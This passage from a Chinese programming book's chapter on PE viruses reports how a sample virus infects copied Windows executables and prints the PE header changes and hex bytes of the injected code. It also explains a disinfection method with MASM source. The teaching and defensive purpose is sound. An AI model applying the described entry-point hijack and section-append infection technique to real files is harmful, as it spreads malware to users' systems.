在C盘上建立ql\a子目录,将Windows系统中的几个系统可执行文件,以及刚生成的bindC.exe复制到C:\ql\a子目录中;运行bindC.exe。

通过运行前和运行后的文件大小对比可以发现,C:\ql\a目录中除bindC.exe外的其他可执行程序确实发生了变化,以下是前后的文件列表对比。

bindC.exe运行前该目录列表如下:

驱动器 C 中的卷没有标签。
  卷的序列号是 305B-C3E5

  C:\ql\a 的目录

2010-07-07   11:03     <DIR>             .
2010-07-07   11:03     <DIR>             ..
2010-07-07   11:03                     0 a.txt
2010-07-02   18:45           1,228,800 bindB.exe
2010-07-07   11:02               70,144 bindC.exe
2008-04-14   20:00              978,432 explorer.exe
2010-05-24   10:23                2,560 HelloWorld.exe
2008-04-14   20:00               93,184 IEXPLORE.EXE
2008-04-14   20:00              332,288 mspaint.exe
2008-04-14  20:00             66,560 notepad.exe
2010-06-03   19:34          12,310,864 WINWORD.EXE
                9 个文件      15,082,832 字节
                2 个目录   1,717,116,928 可用字节

bindC.exe运行后该目录列表如下:

驱动器 C 中的卷没有标签。
卷的序列号是 305B-C3E5

C:\ql\a 的目录

2010-07-07   11:03     <DIR>             .
2010-07-07   11:03     <DIR>             ..
2010-07-07   11:03                   683 a.txt
2010-07-07   11:03                     0 b.txt
2010-07-02   18:45           1,232,896 bindB.exe
2010-07-07   11:02               70,144 bindC.exe
2008-04-14   20:00              982,016 explorer.exe
2010-05-24   10:23                6,144 HelloWorld.exe
2008-04-14   20:00               96,768 IEXPLORE.EXE
2008-04-14   20:00              335,872 mspaint.exe
2008-04-14  20:00             70,144 notepad.exe
2010-06-03   19:34          12,314,624 WINWORD.EXE
            10 个文件      15,109,291 字节
              2 个目录   1,717,092,352 可用字节

可以看到,附加的代码长度(以notepad为例)为70144-66560=3584(十六进制为0E00h)个字节。

仔细观察你会发现,除了bindC.exe文件大小未发生变化外,其他PE文件的大小都增加了3584个字节。为什么bindC.exe的长度没有发生变化呢?仔细想一想,bindC.exe被操作系统以独占方式打开,因此,修改该文件时会因无法打开该文件而跳过,这并不妨碍其他的PE文件的修改。

关闭bindC.exe,运行一个已经被修改的其他文件(比如notepad.exe)。因为运行的notepad.exe被打过补丁,所以它也会对本目录下的其他EXE文件进行感染。由于除bindC.exe以外的其他EXE文件都已经被感染,即有了病毒的特征标志,因此不会重复感染;但是, bindC.exe还没有被感染,所以,运行的结果是bindC.exe的大小也发生了变化。

23.2.4 感染前后PE结构对比

使用工具PEInfo分析一个PE文件,重点看文件执行入口和最后一节的信息。以notepad.exe为例,感染前notepad.exe的显示信息为:

文件名:C:\notepad.exe
-----------------------------------------
运行平台:      0x014c  (014c:Intel 386    014dh:Intel 486  014eh:Intel 586)
节的数量:      3
文件属性:      0x010f
建议装入基地址: 0x01000000
文件执行入口(RVA): 0x739d
---------------------------------------------------------------------------------
节的名称  未对齐前真实长度  内存中的偏移(对齐后的) 文件中对齐后的长度 文件中的偏移 节的属性
---------------------------------------------------------------------------------
.text      00007748        00001000         00007800          00000400     60000020
.data      00001ba8        00009000         00000800          00007c00     c0000040
.rsrc      00007f20        0000b000         00008000          00008400     40000040

感染后notepad.exe的显示信息为:

文件名:C:\ql\a\notepad.exe
-----------------------------------------
运行平台:      0x014c  (014c:Intel 386    014dh:Intel 486  014eh:Intel 586)
节的数量:      3
文件属性:      0x010f
建议装入基地址: 0x01000000
文件执行入口(RVA): 0x13000
---------------------------------------------------------------------------------
节的名称  未对齐前真实长度  内存中的偏移(对齐后的) 文件中对齐后的长度 文件中的偏移 节的属性
---------------------------------------------------------------------------------
.text     00007748           00001000         00007800          00000400    60000020
.data     00001ba8           00009000         00000800          00007c00    c0000040
.rsrc     00009000           0000b000         00008e00          00008400    e0000060

感染前后文件执行入口地址发生了变化,文件执行入口指明了嵌入的补丁程序代码段开始的位置;最后一节的描述信息发生了变化,说明补丁程序被嵌入到了最后一节中。

23.3 解毒代码的编写

编写解毒代码的过程与病毒感染思路刚好相反,只要通过静态分析或动态分析知道病毒感染文件的机制,自然也就清楚了编写解毒代码的方法。

其实,PE病毒的清理并不是一件容易的事情。因为PE感染方式千差万别,特别是病毒使用了一些反跟踪、反调试技术,前期对病毒代码的分析难度相当大,想通过程序实现自动分析基本是不可能实现的。所以,大部分的商业反病毒软件在对待PE病毒的处理上统一采用删除或隔离操作。下面来看针对本章病毒程序的编写解毒代码的思路。

23.3.1 基本思路

完全掌握了PE病毒的感染机制,即可编写解毒程序,使感染的PE文件恢复到原始状态(至少是不会再运行病毒代码的状态)。

从病毒编写思路来看,如果仅是为了杜绝文件被感染,只需要将硬盘中所有的未感染的PE头部开始的第2个双字,设置为病毒标志字节“iliq”,病毒就不会对文件实施破坏。但这种方法只能算是权益之计。还有一种快速的手动清理方法,那就是找到最后一节的C3字节码前最后一个非零双字,通过获取的病毒代码大小,计算出原始的入口地址;然后,将该入口地址重新覆盖PE入口地址,就可以达到跳过PE病毒代码的目的。例如以下所示的黑体部分,为感染后的记事本程序中与原始入口地址有关的部分。

00011030   E8 7E FF FF FF 61 C9 C3 8B 04 24 50 E8 00 00 00    .....a....$P....
00011040   00 5B 81 EB 41 1C 40 00 58 E8 78 FF FF FF E9 4A   .[..A.@.X.x....J
00011050   37 FF FF C3 00 00 00 00 00 00 00 00 00 00 00 00   7...............

是,经过以上方法处理的PE中依旧存留着病毒代码,尽管不再起作用,总让人感觉很多余。所以,最好的解决办法就是分析病毒代码原理,编写解毒代码。

本实例解毒软件的编写思路大致为:通过程序入口找到病毒代码在文件的起始位置,然后去掉该位置后的所有数据,重新更正最后一节的描述项和程序入口地址。

综上所述,解毒程序的编写分为以下三步:

步骤1 计算病毒代码的大小。

步骤2 得到目标PE感染前原始的入口地址。

步骤3 修正目标PE的相关参数。

下面按照这三步逐一介绍。

23.3.2 计算病毒代码大小

解毒编程的第一步是要计算出病毒代码的大小。手工计算方法很简单,找一个没有被感染的程序,与感染后的这个程序进行比对;然后,使用PEInfo查看最后一节文件中对齐后的长度变化,即得出病毒代码大小。从前面的分析中可以看出,该值为

00008e00h-00008000h=0e00h

即3584个字节。

下面介绍利用程序计算病毒代码大小的方法。先来看以下字节码:

000103e0   50 41 44 44 49 4E 47 58 58 50 41 44 44 49 4E 47    PADDINGXXPADDING
000103f0   50 41 44 44 49 4E 47 58 58 50 41 44 44 49 4E 47    PADDINGXXPADDING
00010400   E9 33 0C 00 00 47 65 74 50 72 6F 63 41 64 64 72    .3...GetProcAddr
00010410   65 73 73 00 4C 6F 61 64 4C 69 62 72 61 72 79 41    ess.LoadLibraryA
00010420   00 43 72 65 61 74 65 44 69 72 65 63 74 6F 72 79    .CreateDirectory
......

虚线上的部分是感染前的记事本文件的最后几个字节,虚线下的部分是感染后增加的病毒代码的部分数据。

程序中对病毒代码大小的计算方法有三步:

步骤1 获取感染病毒的notepad.exe的入口地址0x00013000,计算该部分在最后一节中的偏移量:

13000h-B000h=8000h

步骤2 根据最后一节在文件的起始地址计算病毒代码所在文件的偏移fOff:

fOff=8400h+8000h=10400h

步骤3 用文件总大小减去fOff得到的结果即为病毒代码的大小:

11200h-10400h=0e00h

23.3.3 获取原始入口地址

首先,从最后一节的最后几个字节中找到跳转位置(因不同的目标PE最后一节大小不同,其补齐用的“00”字节的个数不定,所以必须通过算法来确定跳转指令操作数所在位置),根据该字节所在文件偏移求出RVA,根据跳转位置和当前RVA求出原始入口RVA。

❑ 病毒最后跳转指令在文件中的位置:0x0001104E

❑ 根据从文件偏移到RVA的计算得出RVA:0x00013C4E

原始入口地址的值与该值的差刚好是跳转指令的操作数0xFFFF374A,如下所示:

00011030   E8 7E FF FF FF 61 C9 C3 8B 04 24 50 E8 00 00 00    .....a....$P....
00011040   00 5B 81 EB 41 1C 40 00 58 E8 78 FF FF FF E9 4A   .[..A.@.X.x....J
00011050   37 FF FF C3 00 00 00 00 00 00 00 00 00 00 00 00   7...............
00011060   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................

通过逆运算(非逆运算为取反加一)可以求出原始入口的地址值为:0x00007398。一定不要忘记,计算时还要加上跳转指令本身的5个字节,最后得到程序原始的入口地址为:

0x00007398+5=0x0000739d

23.3.4 修正PE头部的其他参数

被感染的PE文件中最后一节的字段需要得到修正。要修正字段包括:

❑ IMAGE_SECTION_HEADER.Misc

❑ IMAGE_SECTION_HEADER.SizeOfRawData

23.3.5 主要代码

解毒代码详细内容见代码清单23-3。

代码清单23-3 本节PE病毒的解毒代码的函数_openFile(chapter23\antiVirPE.asm)

1    ;--------------------
2    ; 打开PE文件并处理
3    ;--------------------
4    _openFile proc
5      local @stOF:OPENFILENAME
6      local @hFile,@hMapFile
7      local @hDstFile
8      local @dwFileSize1,@dwTemp
9
10      invoke RtlZeroMemory,addr @stOF,sizeof @stOF
11      mov @stOF.lStructSize,sizeof @stOF
12      push hWinMain
13      pop @stOF.hwndOwner
14      mov @stOF.lpstrFilter,offset szExtPe
15      mov @stOF.lpstrFile,offset szFileName
16      mov @stOF.nMaxFile,MAX_PATH
17      mov @stOF.Flags,OFN_PATHMUSTEXIST or OFN_FILEMUSTEXIST
18      invoke GetOpenFileName,addr @stOF   ;让用户选择打开的文件
19      .if !eax
20         jmp @F
21      .endif
22      invoke wsprintf,addr szBuffer,addr szOut0,addr szFileName
23      invoke _appendInfo,addr szBuffer
24
25      invoke CreateFile,addr szFileName,GENERIC_READ,\
26               FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,\
27               OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
28      .if eax!=INVALID_HANDLE_VALUE
29         mov @hFile,eax
30         invoke GetFileSize,eax,NULL      ;获取文件大小
31         mov totalSize,eax
32
33         .if eax
34           invoke CreateFileMapping,@hFile,\   ;内存映射文件
35                    NULL,PAGE_READONLY,0,0,NULL
36           .if eax
37              mov @hMapFile,eax
38              invoke MapViewOfFile,eax,\
39                       FILE_MAP_READ,0,0,0
40              .if eax
41                mov lpMemory,eax        ;获得文件在内存的映像起始位置
42                assume fs:nothing
43                push ebp
44                push offset _ErrFormat
45                push offset _Handler
46                push fs:[0]
47                mov fs:[0],esp
48
49                ;开始处理文件
50
51                ;获得入口地址,该地址即为病毒代码的起始地址
52                invoke getEntryPoint,lpMemory
53                invoke _RVAToOffset,lpMemory,eax ;求文件偏移
54                mov dwVirStartOff,eax
55                mov ebx,totalSize
56                sub ebx,eax
57                mov virSize,ebx
58
59                ;求新文件大小
60                mov eax,totalSize
61                sub eax,virSize
62                mov dwNewFileSize,eax
63
64                invoke wsprintf,addr szBuffer,addr szOut124,eax
65                invoke _appendInfo,addr szBuffer
66
67                ;申请内存空间
68                invoke GlobalAlloc,GHND,dwNewFileSize
69                mov @hDstFile,eax
70                invoke GlobalLock,@hDstFile
71                mov lpDstMemory,eax    ;将指针给lpDstMemory
72
73                ;将目标文件复制到内存区域
74                mov ecx,dwNewFileSize
75                invoke MemCopy,lpMemory,lpDstMemory,ecx
76
77                invoke wsprintf,addr szBuffer,addr szOut1,virSize
78                invoke _appendInfo,addr szBuffer
79
80                ;定位到最后一个节,修改其中的SizeOfRawData
81                invoke _getRVACount,lpMemory
82                xor edx,edx
83                dec eax
84                mov ecx,sizeof IMAGE_SECTION_HEADER
85                mul ecx
86
87                mov edi,lpDstMemory
88                assume edi:ptr IMAGE_DOS_HEADER
89
90                add edi,[edi].e_lfanew
91                mov esi,edi
92                assume esi:ptr IMAGE_NT_HEADERS
93                add edi,sizeof IMAGE_NT_HEADERS
94                add edi,eax
95                assume edi:ptr IMAGE_SECTION_HEADER
96                mov eax,[edi].SizeOfRawData
97                sub eax,virSize
98                mov [edi].SizeOfRawData,eax
99
100                ;invoke wsprintf,addr szBuffer,addr szOutHex,eax
101                ;invoke _appendInfo,addr szBuffer
102
103                ;计算出程序最原始的入口地址
104                ;从文件最后往前找第一个C3字节
105                mov esi,lpMemory
106                add esi,totalSize
107                .while al!=0c3h
108                    mov al,byte ptr [esi]
109                    dec esi
110                .endw
111                sub esi,3   ;获取跳转指令的操作数到@dwTemp
112                mov eax,dword ptr [esi]
113                mov @dwTemp,eax
114
115                invoke wsprintf,addr szBuffer,addr szOut3,eax
116                invoke _appendInfo,addr szBuffer
117
118                ;求跳转指令在文件中的位置
119                sub esi,lpMemory
120                dec esi
121
122                invoke wsprintf,addr szBuffer,addr szOut2,esi
123                invoke _appendInfo,addr szBuffer
124
125                ;求该偏移在内存中的RVA值
126                invoke _OffsetToRVA,lpMemory,esi
127
128                ;该值加上5个指令字节码
129                add eax,5
130                add eax,@dwTemp ;求跳转的指令位置,即程序原始入口
131                mov dwOldEntryPoint,eax
132                invoke wsprintf,addr szBuffer,addr szOut4,eax
133                invoke _appendInfo,addr szBuffer
134
135                ;修正函数入口地址
136                mov edi,lpDstMemory
137                assume edi:ptr IMAGE_DOS_HEADER
138                add edi,[edi].e_lfanew
139                assume edi:ptr IMAGE_NT_HEADERS
140                mov eax,dwOldEntryPoint
141                mov [edi].OptionalHeader.AddressOfEntryPoint,eax
142
143                ;修正SizeOfImage
144                ;因为是减少文件大小,这个值就不用修正了
145
146                ;将新文件内容写入到C:\bindC.exe
147                invoke writeToFile,lpDstMemory,dwNewFileSize
148
149                ;处理文件结束
150                invoke _appendInfo,addr szFinished
151
152                jmp _ErrorExit
153
154    _ErrFormat:
155        invoke MessageBox,hWinMain,offset szErrFormat,NULL,MB_OK
156    _ErrorExit:
157                pop fs:[0]
158                add esp,0ch
159                invoke UnmapViewOfFile,lpMemory
160              .endif
161              invoke CloseHandle,@hMapFile
162           .endif
163           invoke CloseHandle,@hFile
164         .endif
165      .endif
166    @@:
167      ret
168    _openFile endp

以上所列为随书文件chapter23\antiVirPE.asm中的函数_openFile的源码。函数代码行18~39把要处理的PE目标文件映射到内存,行49~62计算出原始程序大小存储在变量dwNewFileSize中。行67~71调用函数GlobalAlloc用dwNewFileSize大小申请内存空间,行73~75将去掉病毒代码的部分复制到申请的内存空间中。行80~141更新了新文件中的一些参数,这些参数主要包括最后一节节表描述的两个字段和程序的入口地址,最后将已经解完毒的内存中的内容写入文件,完成解毒过程。

23.3.6 运行测试

解毒程序的运行界面见图23-1。

图23-1 解毒运行过程

如图所示,针对感染病毒的文件进行解毒的操作不是很复杂。首先,求出新文件大小和病毒代码大小,然后求出原始的程序入口地址,并对相关参数进行修正。图中输出的是与该过程有关的几个主要变量的值。针对本章补丁程序实施的解毒相关文件在参考随书文件目录chapter23\a中。读者可以使用PEComp对比原始记事本程序与去掉病毒代码后的C:\bindE.exe文件,查看两者在PE头部的各字段值的区别,从而进一步认识PE病毒的清除方法。

注意 真正的反病毒软件在为感染的EXE文件解毒前要做的事情还有很多,如释放内存中加载的线程、删除注册的系统服务、删除注册表启动项、通盘扫描处理感染病毒的文件、为系统实施加固,等等。

23.4 小结

本章首先结合愤怒天使病毒介绍了病毒常用的保护技术,然后详细分析了一个标准的(含可传染、可破坏、可隐藏模块)PE病毒的实现原理,并探讨了如何编写相关的解毒代码。

本章重点是了解PE病毒传播过程,病毒的传播实际上就是为感染的目标PE文件打补丁的过程,这个过程在病毒补丁程序中有所展示。所谓“以毒攻毒”,只有深入了解了病毒的感染机制、传播机制和隐藏机制,才能够有针对性地使用一些编程技巧,甚至是一些病毒经常使用的技术,更好地去解毒。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐